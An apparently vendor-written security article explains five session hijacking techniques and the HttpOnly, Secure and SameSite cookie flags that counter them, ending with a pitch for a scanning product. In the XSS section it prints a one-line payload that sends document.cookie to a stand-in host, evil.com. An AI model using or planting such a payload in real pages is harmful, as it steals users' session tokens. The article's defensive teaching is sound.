When you log into a web application, the server creates a session and hands you a token — usually stored in a cookie. That token is your identity for every subsequent request. If an attacker obtains it, they become you. No password needed, no MFA prompt, no login alert. They simply attach your session token to their requests and the server can't tell the difference.
Technique 1: Cross-Site Scripting (XSS)
The most common session theft vector is XSS. If an attacker can inject JavaScript into a page — via a stored comment, a reflected URL parameter, or a compromised third-party script — they can read cookies and transmit them externally.
// Classic session theft payload
new Image().src = 'https://evil.com/steal?c=' + document.cookie;This entire attack is neutralized by a single cookie attribute: HttpOnly. When a cookie has the HttpOnly flag, JavaScript cannot access it through document.cookie. Yet a startling number of applications still issue session cookies without this flag.
Technique 2: Network Interception
On any unencrypted connection, session cookies transit in plaintext. An attacker on the same network — a coffee shop, airport, or compromised router — can passively capture every cookie that passes through. Tools for this are freely available and require no technical skill beyond installing them.
The Secure cookie flag prevents this by ensuring the cookie is only sent over HTTPS connections. Combined with HSTS to prevent protocol downgrade attacks, this closes the network interception vector. Without both, a brief HTTP request is enough to expose the session.
Technique 3: Cross-Site Request Forgery (CSRF)
CSRF doesn't steal the session token — it rides it. The attacker crafts a malicious request (a form submission, an image tag, a fetch call) on their own site. When an authenticated user visits the attacker's page, their browser automatically attaches cookies to cross-site requests.
The SameSite cookie attribute was specifically designed to combat this. Set to Strict or Lax, it prevents the browser from sending cookies on cross-site requests. Without it, every authenticated user is one malicious link away from performing actions they never intended.
Technique 4: Session Fixation
In session fixation, the attacker doesn't steal a token — they plant one. If the application accepts session identifiers from URL parameters or doesn't regenerate the session ID after login, an attacker can:
- Create a valid session on the target application
- Send the victim a link containing that session ID
- Wait for the victim to log in, upgrading the attacker's known session to an authenticated one
The attacker already knows the session ID because they created it. After the victim authenticates, the attacker's token becomes a golden key.
Technique 5: Browser Extension and Malware
Browser extensions with broad permissions can read cookies, inject scripts, and intercept requests. A malicious extension — or a legitimate one that's been compromised — has the same access as JavaScript running on the page, except it persists across all sites the user visits.
The Three Flags That Matter
Session hijacking prevention centres on three cookie attributes that together address the primary attack vectors:
HttpOnly— blocks JavaScript access, neutralizing XSS-based theftSecure— prevents transmission over HTTP, blocking network interceptionSameSite— stops cross-site request attachment, preventing CSRF
Each one is a single keyword in a Set-Cookie header. Each one blocks a major attack category. And each one is missing from more applications than you'd expect.
ShieldReport checks your domain's cookie security configuration, identifying missing attributes that leave session tokens exposed to hijacking — because three missing keywords shouldn't be the difference between security and compromise.